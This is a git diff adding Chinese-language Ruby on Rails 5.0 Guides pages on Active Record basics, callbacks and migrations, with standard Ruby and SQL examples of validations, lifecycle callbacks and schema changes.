检索到 Active Record 对象后,可以修改其属性,然后再将其存入数据库。

+
+user = User.find_by(name: 'David')
+user.name = 'Dave'
+user.save
+
+
+
+

还有种使用散列的简写方式,指定属性名和属性值,例如:

+
+user = User.find_by(name: 'David')
+user.update(name: 'Dave')
+
+
+
+

一次更新多个属性时使用这种方法最方便。如果想批量更新多个记录,可以使用类方法 update_all

+
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+
+
+
+

5.4 删除

类似地,检索到 Active Record 对象后还可以将其销毁,从数据库中删除。

+
+user = User.find_by(name: 'David')
+user.destroy
+
+
+
+

6 数据验证

在存入数据库之前,Active Record 还可以验证模型。模型验证有很多方法,可以检查属性值是否不为空,是否是唯一的、没有在数据库中出现过,等等。

把数据存入数据库之前进行验证是十分重要的步骤,所以调用 saveupdate 方法时会做数据验证。验证失败时返回 false,此时不会对数据库做任何操作。这两个方法都有对应的爆炸方法(save!update!)。爆炸方法要严格一些,如果验证失败,抛出 ActiveRecord::RecordInvalid 异常。下面举个简单的例子:

+
+class User < ApplicationRecord
+  validates :name, presence: true
+end
+
+user = User.new
+user.save  # => false
+user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+
+

Active Record 数据验证会详细介绍数据验证。

7 回调

Active Record 回调用于在模型生命周期的特定事件上绑定代码,相应的事件发生时,执行绑定的代码。例如创建新纪录时、更新记录时、删除记录时,等等。Active Record 回调会详细介绍回调。

8 迁移

Rails 提供了一个 DSL(Domain-Specific Language)用来处理数据库模式,叫做“迁移”。迁移的代码存储在特定的文件中,通过 rails 命令执行,可以用在 Active Record 支持的所有数据库上。下面这个迁移新建一个表:

+
+class CreatePublications < ActiveRecord::Migration[5.0]
+  def change
+    create_table :publications do |t|
+      t.string :title
+      t.text :description
+      t.references :publication_type
+      t.integer :publisher_id
+      t.string :publisher_type
+      t.boolean :single_issue
+
+      t.timestamps
+    end
+    add_index :publications, :publication_type_id
+  end
+end
+
+
+
+

Rails 会跟踪哪些迁移已经应用到数据库上,还提供了回滚功能。为了创建表,要执行 rails db:migrate 命令。如果想回滚,则执行 rails db:rollback 命令。

注意,上面的代码与具体的数据库种类无关,可用于 MySQL、PostgreSQL、Oracle 等数据库。关于迁移的详细介绍,参阅Active Record 迁移

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_record_callbacks.html b/v5.0/active_record_callbacks.html new file mode 100644 index 0000000..2510706 --- /dev/null +++ b/v5.0/active_record_callbacks.html @@ -0,0 +1,630 @@ + + + + + + + +Active Record 回调 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record 回调

本文介绍如何介入 Active Record 对象的生命周期。

读完本文后,您将学到:

+
    +
  • Active Record 对象的生命周期;

  • +
  • 如何创建用于响应对象生命周期内事件的回调方法;

  • +
  • 如何把常用的回调封装到特殊的类中。

  • +
+ + + + +
+
+ +
+
+
+

1 对象的生命周期

在 Rails 应用正常运作期间,对象可以被创建、更新或删除。Active Record 为对象的生命周期提供了钩子,使我们可以控制应用及其数据。

回调使我们可以在对象状态更改之前或之后触发逻辑。

2 回调概述

回调是在对象生命周期的某些时刻被调用的方法。通过回调,我们可以编写在创建、保存、更新、删除、验证或从数据库中加载 Active Record 对象时执行的代码。

2.1 注册回调

回调在使用之前需要注册。我们可以先把回调定义为普通方法,然后使用宏式类方法把这些普通方法注册为回调:

+
+class User < ApplicationRecord
+  validates :login, :email, presence: true
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+    def ensure_login_has_a_value
+      if login.nil?
+        self.login = email unless email.blank?
+      end
+    end
+end
+
+
+
+

宏式类方法也接受块。如果块中的代码短到可以放在一行里,可以考虑使用这种编程风格:

+
+class User < ApplicationRecord
+  validates :login, :email, presence: true
+
+  before_create do
+    self.name = login.capitalize if name.blank?
+  end
+end
+
+
+
+

回调也可以注册为仅被某些生命周期事件触发:

+
+class User < ApplicationRecord
+  before_validation :normalize_name, on: :create
+
+  # :on 选项的值也可以是数组
+  after_validation :set_location, on: [ :create, :update ]
+
+  protected
+    def normalize_name
+      self.name = name.downcase.titleize
+    end
+
+    def set_location
+      self.location = LocationService.query(self)
+    end
+end
+
+
+
+

通常应该把回调定义为受保护的方法或私有方法。如果把回调定义为公共方法,就可以从模型外部调用回调,这样做违反了对象封装原则。

3 可用的回调

下面按照回调在 Rails 应用正常运作期间被调用的顺序,列出所有可用的 Active Record 回调。

3.1 创建对象

+
    +
  • before_validation

  • +
  • after_validation

  • +
  • before_save

  • +
  • around_save

  • +
  • before_create

  • +
  • around_create

  • +
  • after_create

  • +
  • after_save

  • +
  • after_commit/after_rollback

  • +
+

3.2 更新对象

+
    +
  • before_validation

  • +
  • after_validation

  • +
  • before_save

  • +
  • around_save

  • +
  • before_update

  • +
  • around_update

  • +
  • after_update

  • +
  • after_save

  • +
  • after_commit/after_rollback

  • +
+

3.3 删除对象

+
    +
  • before_destroy

  • +
  • around_destroy

  • +
  • after_destroy

  • +
  • after_commit/after_rollback

  • +
+

无论按什么顺序注册回调,在创建和更新对象时,after_save 回调总是在更明确的 after_createafter_update 回调之后被调用。

3.4 after_initializeafter_find 回调

当 Active Record 对象被实例化时,不管是通过直接使用 new 方法还是从数据库加载记录,都会调用 after_initialize 回调。使用这个回调可以避免直接覆盖 Active Record 的 initialize 方法。

当 Active Record 从数据库中加载记录时,会调用 after_find 回调。如果同时定义了 after_initializeafter_find 回调,会先调用 after_find 回调。

after_initializeafter_find 回调没有对应的 before_* 回调,这两个回调的注册方式和其他 Active Record 回调一样。

+
+class User < ApplicationRecord
+  after_initialize do |user|
+    puts "You have initialized an object!"
+  end
+
+  after_find do |user|
+    puts "You have found an object!"
+  end
+end
+
+
+
+
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+
+
+
+

3.5 after_touch 回调

当我们在 Active Record 对象上调用 touch 方法时,会调用 after_touch 回调。

+
+class User < ApplicationRecord
+  after_touch do |user|
+    puts "You have touched an object"
+  end
+end
+
+
+
+
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+
+
+
+

after_touch 回调可以和 belongs_to 一起使用:

+
+class Employee < ApplicationRecord
+  belongs_to :company, touch: true
+  after_touch do
+    puts 'An Employee was touched'
+  end
+end
+
+class Company < ApplicationRecord
+  has_many :employees
+  after_touch :log_when_employees_or_company_touched
+
+  private
+  def log_when_employees_or_company_touched
+    puts 'Employee/Company was touched'
+  end
+end
+
+
+
+
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+
+
+
+

4 调用回调

下面这些方法会触发回调:

+
    +
  • create

  • +
  • create!

  • +
  • decrement!

  • +
  • destroy

  • +
  • destroy!

  • +
  • destroy_all

  • +
  • increment!

  • +
  • save

  • +
  • save!

  • +
  • save(validate: false)

  • +
  • toggle!

  • +
  • update_attribute

  • +
  • update

  • +
  • update!

  • +
  • valid?

  • +
+

此外,下面这些查找方法会触发 after_find 回调:

+
    +
  • all

  • +
  • first

  • +
  • find

  • +
  • find_by

  • +
  • find_by_*

  • +
  • find_by_*!

  • +
  • find_by_sql

  • +
  • last

  • +
+

每次初始化类的新对象时都会触发 after_initialize 回调。

find_by_*find_by_*! 方法是为每个属性自动生成的动态查找方法。关于动态查找方法的更多介绍,请参阅 动态查找方法

5 跳过回调

和验证一样,我们可以跳过回调。使用下面这些方法可以跳过回调:

+
    +
  • decrement

  • +
  • decrement_counter

  • +
  • delete

  • +
  • delete_all

  • +
  • increment

  • +
  • increment_counter

  • +
  • toggle

  • +
  • touch

  • +
  • update_column

  • +
  • update_columns

  • +
  • update_all

  • +
  • update_counters

  • +
+

请慎重地使用这些方法,因为有些回调包含了重要的业务规则和应用逻辑,在不了解潜在影响的情况下就跳过回调,可能导致无效数据。

6 停止执行

回调在模型中注册后,将被加入队列等待执行。这个队列包含了所有模型的验证、已注册的回调和将要执行的数据库操作。

整个回调链包装在一个事务中。如果任何一个 before 回调方法返回 false 或引发异常,整个回调链就会停止执行,同时发出 ROLLBACK 消息来回滚事务;而 after 回调方法只能通过引发异常来达到相同的效果。

当回调链停止后,Rails 会重新抛出除了 ActiveRecord::RollbackActiveRecord::RecordInvalid 之外的其他异常。这可能导致那些预期 saveupdate_attributes 等方法(通常返回 truefalse )不会引发异常的代码出错。

7 关联回调

回调不仅可以在模型关联中使用,还可以通过模型关联定义。假设有一个用户在博客中发表了多篇文章,现在我们要删除这个用户,那么这个用户的所有文章也应该删除,为此我们通过 Article 模型和 User 模型的关联来给 User 模型添加一个 after_destroy 回调:

+
+class User < ApplicationRecord
+  has_many :articles, dependent: :destroy
+end
+
+class Article < ApplicationRecord
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Article destroyed'
+  end
+end
+
+
+
+
+
+>> user = User.first
+=> #<User id: 1>
+>> user.articles.create!
+=> #<Article id: 1, user_id: 1>
+>> user.destroy
+Article destroyed
+=> #<User id: 1>
+
+
+
+

8 条件回调

和验证一样,我们可以在满足指定条件时再调用回调方法。为此,我们可以使用 :if:unless 选项,选项的值可以是符号、字符串、Proc 或数组。要想指定在哪些条件下调用回调,可以使用 :if 选项。要想指定在哪些条件下不调用回调,可以使用 :unless 选项。

8.1 使用符号作为 :if:unless 选项的值

可以使用符号作为 :if:unless 选项的值,这个符号用于表示先于回调调用的断言方法。当使用 :if 选项时,如果断言方法返回 false 就不会调用回调;当使用 :unless 选项时,如果断言方法返回 true 就不会调用回调。使用符号作为 :if:unless 选项的值是最常见的方式。在使用这种方式注册回调时,我们可以同时使用几个不同的断言,用于检查是否应该调用回调。

+
+class Order < ApplicationRecord
+  before_save :normalize_card_number, if: :paid_with_card?
+end
+
+
+
+

8.2 使用字符串作为 :if:unless 选项的值

还可以使用字符串作为 :if:unless 选项的值,这个字符串会通过 eval 方法执行,因此必须包含有效的 Ruby 代码。当字符串表示的条件非常短时我们才使用这种方式:

+
+class Order < ApplicationRecord
+  before_save :normalize_card_number, if: "paid_with_card?"
+end
+
+
+
+

8.3 使用 Proc 作为 :if:unless 选项的值

最后,可以使用 Proc 作为 :if:unless 选项的值。在验证方法非常短时最适合使用这种方式,这类验证方法通常只有一行代码:

+
+class Order < ApplicationRecord
+  before_save :normalize_card_number,
+    if: Proc.new { |order| order.paid_with_card? }
+end
+
+
+
+

8.4 在条件回调中使用多个条件

在编写条件回调时,我们可以在同一个回调声明中混合使用 :if:unless 选项:

+
+class Comment < ApplicationRecord
+  after_create :send_email_to_author, if: :author_wants_emails?,
+    unless: Proc.new { |comment| comment.article.ignore_comments? }
+end
+
+
+
+

9 回调类

有时需要在其他模型中重用已有的回调方法,为了解决这个问题,Active Record 允许我们用类来封装回调方法。有了回调类,回调方法的重用就变得非常容易。

在下面的例子中,我们为 PictureFile 模型创建了 PictureFileCallbacks 回调类,在这个回调类中包含了 after_destroy 回调方法:

+
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+
+
+
+

在上面的代码中我们可以看到,当在回调类中声明回调方法时,回调方法接受模型对象作为参数。回调类定义之后就可以在模型中使用了:

+
+class PictureFile < ApplicationRecord
+  after_destroy PictureFileCallbacks.new
+end
+
+
+
+

请注意,上面我们把回调声明为实例方法,因此需要实例化新的 PictureFileCallbacks 对象。当回调想要使用实例化的对象的状态时,这种声明方式特别有用。尽管如此,一般我们会把回调声明为类方法:

+
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+
+
+
+

如果把回调声明为类方法,就不需要实例化新的 PictureFileCallbacks 对象。

+
+class PictureFile < ApplicationRecord
+  after_destroy PictureFileCallbacks
+end
+
+
+
+

我们可以根据需要在回调类中声明任意多个回调。

10 事务回调

after_commitafter_rollback 这两个回调会在数据库事务完成时触发。它们和 after_save 回调非常相似,区别在于它们在数据库变更已经提交或回滚后才会执行,常用于 Active Record 模型需要和数据库事务之外的系统交互的场景。

例如,在前面的例子中,PictureFile 模型中的记录删除后,还要删除相应的文件。如果 after_destroy 回调执行后应用引发异常,事务就会回滚,文件会被删除,模型会保持不一致的状态。例如,假设在下面的代码中,picture_file_2 对象是无效的,那么调用 save! 方法会引发错误:

+
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+
+
+
+

通过使用 after_commit 回调,我们可以解决这个问题:

+
+class PictureFile < ApplicationRecord
+  after_commit :delete_picture_file_from_disk, on: [:destroy]
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+
+
+
+

:on 选项说明什么时候触发回调。如果不提供 :on 选项,那么每个动作都会触发回调。

由于只在执行创建、更新或删除动作时触发 after_commit 回调是很常见的,这些操作都拥有别名:

+
    +
  • after_create_commit

  • +
  • after_update_commit

  • +
  • after_destroy_commit

  • +
+
+
+class PictureFile < ApplicationRecord
+  after_destroy_commit :delete_picture_file_from_disk
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+
+
+
+

对于在事务中创建、更新或删除的模型,after_commitafter_rollback 回调一定会被调用。如果其中有一个回调引发异常,这个异常会被忽略,以避免干扰其他回调。因此,如果回调代码可能引发异常,就需要在回调中救援并进行适当处理。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_record_migrations.html b/v5.0/active_record_migrations.html new file mode 100644 index 0000000..ecef81d --- /dev/null +++ b/v5.0/active_record_migrations.html @@ -0,0 +1,912 @@ + + + + + + + +Active Record 迁移 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record 迁移

迁移是 Active Record 的一个特性,允许我们按时间顺序管理数据库模式。有了迁移,就不必再用纯 SQL 来修改数据库模式,而是可以使用简单的 Ruby DSL 来描述对数据表的修改。

读完本文后,您将学到:

+
    +
  • 用于创建迁移的生成器;

  • +
  • Active Record 提供的用于操作数据库的方法;

  • +
  • 用于操作迁移和数据库模式的 bin/rails 任务;

  • +
  • 迁移和 schema.rb 文件的关系。

  • +
+ + + + +
+
+ +
+
+
+

1 迁移概述

迁移是以一致和轻松的方式按时间顺序修改数据库模式的实用方法。它使用 Ruby DSL,因此不必手动编写 SQL,从而实现了数据库无关的数据库模式的创建和修改。

我们可以把迁移看做数据库的新“版本”。数据库模式一开始并不包含任何内容,之后通过一个个迁移来添加或删除数据表、字段和记录。 Active Record 知道如何沿着时间线更新数据库模式,使其从任何历史版本更新为最新版本。Active Record 还会更新 db/schema.rb 文件,以匹配最新的数据库结构。

下面是一个迁移的示例:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

这个迁移用于添加 products 数据表,数据表中包含 name 字符串字段和 description 文本字段。同时隐式添加了 id 主键字段,这是所有 Active Record 模型的默认主键。timestamps 宏添加了 created_atupdated_at 两个字段。后面这几个特殊字段只要存在就都由 Active Record 自动管理。

注意这里定义的对数据库的修改是按时间进行的。在这个迁移运行之前,数据表还不存在。在这个迁移运行之后,数据表就被创建了。Active Record 还知道如何撤销这个迁移:如果我们回滚这个迁移,数据表就会被删除。

对于支持事务并提供了用于修改数据库模式的语句的数据库,迁移被包装在事务中。如果数据库不支持事务,那么当迁移失败时,已成功的那部分操作将无法回滚。这种情况下只能手动完成相应的回滚操作。

某些查询不能在事务内部运行。如果数据库适配器支持 DDL 事务,就可以使用 disable_ddl_transaction! 方法在某个迁移中临时禁用事务。

如果想在迁移中完成一些 Active Record 不知如何撤销的操作,可以使用 reversible 方法:

+
+class ChangeProductsPrice < ActiveRecord::Migration[5.0]
+  def change
+    reversible do |dir|
+      change_table :products do |t|
+        dir.up   { t.change :price, :string }
+        dir.down { t.change :price, :integer }
+      end
+    end
+  end
+end
+
+
+
+

或者用 updown 方法来代替 change 方法:

+
+class ChangeProductsPrice < ActiveRecord::Migration[5.0]
+  def up
+    change_table :products do |t|
+      t.change :price, :string
+    end
+  end
+
+  def down
+    change_table :products do |t|
+      t.change :price, :integer
+    end
+  end
+end
+
+
+
+

2 创建迁移

2.1 创建独立的迁移

迁移文件储存在 db/migrate 文件夹中,一个迁移文件包含一个迁移类。文件名采用 YYYYMMDDHHMMSS_create_products.rb 形式,即 UTC 时间戳加上下划线再加上迁移的名称。迁移类的名称(驼峰式)应该匹配文件名中迁移的名称。例如,在 20080906120000_create_products.rb 文件中应该定义 CreateProducts 类,在 20080906120001_add_details_to_products.rb 文件中应该定义 AddDetailsToProducts 类。Rails 根据文件名的时间戳部分确定要运行的迁移和迁移运行的顺序,因此当需要把迁移文件复制到其他 Rails 应用,或者自己生成迁移文件时,一定要注意迁移运行的顺序。

当然,计算时间戳不是什么有趣的事,因此 Active Record 提供了生成器:

+
+$ bin/rails generate migration AddPartNumberToProducts
+
+
+
+

上面的命令会创建空的迁移,并进行适当命名:

+
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+  end
+end
+
+
+
+

如果迁移名称是 AddXXXToYYYRemoveXXXFromYYY 的形式,并且后面跟着字段名和类型列表,那么会生成包含合适的 add_columnremove_column 语句的迁移。

+
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
+
+
+
+

上面的命令会生成:

+
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+  end
+end
+
+
+
+

还可以像下面这样在新建字段上添加索引:

+
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+
+
+
+

上面的命令会生成:

+
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+    add_index :products, :part_number
+  end
+end
+
+
+
+

类似地,还可以生成用于删除字段的迁移:

+
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+
+
+
+

上面的命令会生成:

+
+class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0]
+  def change
+    remove_column :products, :part_number, :string
+  end
+end
+
+
+
+

还可以生成用于添加多个字段的迁移,例如:

+
+$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
+
+
+
+

上面的命令会生成:

+
+class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+end
+
+
+
+

如果迁移名称是 CreateXXX 的形式,并且后面跟着字段名和类型列表,那么会生成用于创建包含指定字段的 XXX 数据表的迁移。例如:

+
+$ bin/rails generate migration CreateProducts name:string part_number:string
+
+
+
+

上面的命令会生成:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.string :part_number
+    end
+  end
+end
+
+
+
+

和往常一样,上面的命令生成的代码只是一个起点,我们可以修改 db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb 文件,根据需要增删代码。

生成器也接受 references 字段类型作为参数(还可使用 belongs_to),例如:

+
+$ bin/rails generate migration AddUserRefToProducts user:references
+
+
+
+

上面的命令会生成:

+
+class AddUserRefToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_reference :products, :user, index: true, foreign_key: true
+  end
+end
+
+
+
+

这个迁移会创建 user_id 字段并添加索引。关于 add_reference 选项的更多介绍,请参阅 API 文档

如果迁移名称中包含 JoinTable,生成器会创建联结数据表:

+
+$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+
+
+
+

上面的命令会生成:

+
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0]
+  def change
+    create_join_table :customers, :products do |t|
+      # t.index [:customer_id, :product_id]
+      # t.index [:product_id, :customer_id]
+    end
+  end
+end
+
+
+
+

2.2 模型生成器

模型和脚手架生成器会生成适用于添加新模型的迁移。这些迁移中已经包含用于创建有关数据表的指令。如果我们告诉 Rails 想要哪些字段,那么添加这些字段所需的语句也会被创建。例如,运行下面的命令:

+
+$ bin/rails generate model Product name:string description:text
+
+
+
+

上面的命令会创建下面的迁移:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

我们可以根据需要添加“字段名称/类型”对,没有数量限制。

2.3 传递修饰符

可以直接在命令行中传递常用的类型修饰符。这些类型修饰符用大括号括起来,放在字段类型之后。例如,运行下面的命令:

+
+$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+
+
+
+

上面的命令会创建下面的迁移:

+
+class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :price, :decimal, precision: 5, scale: 2
+    add_reference :products, :supplier, polymorphic: true, index: true
+  end
+end
+
+
+
+

关于传递修饰符的更多介绍,请参阅生成器的命令行帮助信息。

3 编写迁移

使用生成器创建迁移后,就可以开始写代码了。

3.1 创建数据表

create_table 方法是最基础、最常用的方法,其代码通常是由模型或脚手架生成器生成的。典型的用法像下面这样:

+
+create_table :products do |t|
+  t.string :name
+end
+
+
+
+

上面的命令会创建包含 name 字段的 products 数据表(后面会介绍,数据表还包含自动创建的 id 字段)。

默认情况下,create_table 方法会创建 id 主键。可以用 :primary_key 选项来修改主键名称,还可以传入 id: false 选项以禁用主键。如果需要传递数据库特有的选项,可以在 :options 选项中使用 SQL 代码片段。例如:

+
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+  t.string :name, null: false
+end
+
+
+
+

上面的代码会在用于创建数据表的 SQL 语句末尾加上 ENGINE=BLACKHOLE(如果使用 MySQL 或 MarialDB,默认选项是 ENGINE=InnoDB)。

还可以传递带有数据表描述信息的 :comment 选项,这些注释会被储存在数据库中,可以使用 MySQL Workbench、PgAdmin III 等数据库管理工具查看。对于大型数据库,强列推荐在应用的迁移中添加注释。目前只有 MySQL 和 PostgreSQL 适配器支持注释功能。

3.2 创建联结数据表

create_join_table 方法用于创建 HABTM(has and belongs to many)联结数据表。典型的用法像下面这样:

+
+create_join_table :products, :categories
+
+
+
+

上面的代码会创建包含 category_idproduct_id 字段的 categories_products 数据表。这两个字段的 :null 选项默认设置为 false,可以通过 :column_options 选项覆盖这一设置:

+
+create_join_table :products, :categories, column_options: { null: true }
+
+
+
+

联结数据表的名称默认由 create_join_table 方法的前两个参数按字母顺序组合而来。可以传入 :table_name 选项来自定义联结数据表的名称:

+
+create_join_table :products, :categories, table_name: :categorization
+
+
+
+

上面的代码会创建 categorization 数据表。

create_join_table 方法也接受块作为参数,用于添加索引(默认未创建的索引)或附加字段:

+
+create_join_table :products, :categories do |t|
+  t.index :product_id
+  t.index :category_id
+end
+
+
+
+

3.3 修改数据表

change_table 方法和 create_table 非常类似,用于修改现有的数据表。它的用法和 create_table 方法风格类似,但传入块的对象有更多用法。例如:

+
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+
+
+
+

上面的代码删除 descriptionname 字段,创建 part_number 字符串字段并添加索引,最后重命名 upccode 字段。

3.4 修改字段

Rails 提供了与 remove_columnadd_column 类似的 change_column 迁移方法。

+
+change_column :products, :part_number, :text
+
+
+
+

上面的代码把 products 数据表的 part_number 字段修改为 :text 字段。请注意 change_column 命令是无法撤销的。

change_column 方法之外,还有 change_column_nullchange_column_default 方法,前者专门用于设置字段可以为空或不可以为空,后者专门用于修改字段的默认值。

+
+change_column_null :products, :name, false
+change_column_default :products, :approved, from: true, to: false
+
+
+
+

上面的代码把 products 数据表的 :name 字段设置为 NOT NULL 字段,把 :approved 字段的默认值由 true 修改为 false

注意:也可以把上面的 change_column_default 迁移写成 change_column_default :products, :approved, false,但这种写法是无法撤销的。

3.5 字段修饰符

字段修饰符可以在创建或修改字段时使用:

+
    +
  • limit 修饰符:设置 string/text/binary/integer 字段的最大长度。

  • +
  • precision 修饰符:定义 decimal 字段的精度,表示数字的总位数。

  • +
  • scale 修饰符:定义 decimal 字段的标度,表示小数点后的位数。

  • +
  • polymorphic 修饰符:为 belongs_to 关联添加 type 字段。

  • +
  • null 修饰符:设置字段能否为 NULL 值。

  • +
  • default 修饰符:设置字段的默认值。请注意,如果使用动态值(如日期)作为默认值,那么默认值只会在第一次使时(如应用迁移的日期)计算一次。

  • +
  • index 修饰符:为字段添加索引。

  • +
  • comment 修饰符:为字段添加注释。

  • +
+

有的适配器可能支持附加选项,更多介绍请参阅相应适配器的 API 文档。

3.6 外键

尽管不是必需的,但有时我们需要使用外键约束以保证引用完整性。

+
+add_foreign_key :articles, :authors
+
+
+
+

上面的代码为 articles 数据表的 author_id 字段添加外键,这个外键会引用 authors 数据表的 id 字段。如果字段名不能从表名称推导出来,我们可以使用 :column:primary_key 选项。

Rails 会为每一个外键生成以 fk_rails_ 开头并且后面紧跟着 10 个字符的外键名,外键名是根据 from_tablecolumn 推导出来的。需要时可以使用 :name 来指定外键名。

Active Record 只支持单字段外键,要想使用复合外键就需要 execute 方法和 structure.sql。更多介绍请参阅 数据库模式转储

删除外键也很容易:

+
+# 让 Active Record 找出列名
+remove_foreign_key :accounts, :branches
+
+# 删除特定列上的外键
+remove_foreign_key :accounts, column: :owner_id
+
+# 通过名称删除外键
+remove_foreign_key :accounts, name: :special_fk_name
+
+
+
+

3.7 如果辅助方法不够用

如果 Active Record 提供的辅助方法不够用,可以使用 excute 方法执行任意 SQL 语句:

+
+Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")
+
+
+
+

关于各个方法的更多介绍和例子,请参阅 API 文档。尤其是 ActiveRecord::ConnectionAdapters::SchemaStatements 的文档(在 changeupdown 方法中可以使用的方法)、ActiveRecord::ConnectionAdapters::TableDefinition 的文档(在 create_table 方法的块中可以使用的方法)和 ActiveRecord::ConnectionAdapters::Table 的文档(在 change_table 方法的块中可以使用的方法)。

3.8 使用 change 方法

change 方法是编写迁移时最常用的。在大多数情况下,Active Record 知道如何自动撤销用 change 方法编写的迁移。目前,在 change 方法中只能使用下面这些方法:

+
    +
  • add_column

  • +
  • add_foreign_key

  • +
  • add_index

  • +
  • add_reference

  • +
  • add_timestamps

  • +
  • change_column_default(必须提供 :from:to 选项)

  • +
  • change_column_null

  • +
  • create_join_table

  • +
  • create_table

  • +
  • disable_extension

  • +
  • drop_join_table

  • +
  • drop_table(必须提供块)

  • +
  • enable_extension

  • +
  • remove_column(必须提供字段类型)

  • +
  • remove_foreign_key(必须提供第二个数据表)

  • +
  • remove_index

  • +
  • remove_reference

  • +
  • remove_timestamps

  • +
  • rename_column

  • +
  • rename_index

  • +
  • rename_table

  • +
+

如果在块中不使用 changechange_defaultremove 方法,那么 change_table 方法也是可撤销的。

如果提供了字段类型作为第三个参数,那么 remove_column 是可撤销的。别忘了提供原来字段的选项,否则 Rails 在回滚时就无法准确地重建字段了:

+
+remove_column :posts, :slug, :string, null: false, default: '', index: true
+
+
+
+

如果需要使用其他方法,可以用 reversible 方法或者 updown 方法来代替 change 方法。

3.9 使用 reversible 方法

撤销复杂迁移所需的操作有一些是 Rails 无法自动完成的,这时可以使用 reversible 方法指定运行和撤销迁移所需的操作。例如:

+
+class ExampleMigration < ActiveRecord::Migration[5.0]
+  def change
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    reversible do |dir|
+      dir.up do
+        # 添加 CHECK 约束
+        execute <<-SQL
+          ALTER TABLE distributors
+            ADD CONSTRAINT zipchk
+              CHECK (char_length(zipcode) = 5) NO INHERIT;
+        SQL
+      end
+      dir.down do
+        execute <<-SQL
+          ALTER TABLE distributors
+            DROP CONSTRAINT zipchk
+        SQL
+      end
+    end
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+end
+
+
+
+

使用 reversible 方法可以确保指令按正确的顺序执行。在上面的代码中,撤销迁移时,down 块会在删除 home_page_url 字段之后、删除 distributors 数据表之前运行。

有时,迁移执行的操作是无法撤销的,例如删除数据。在这种情况下,我们可以在 down 块中抛出 ActiveRecord::IrreversibleMigration 异常。这样一旦尝试撤销迁移,就会显示无法撤销迁移的出错信息。

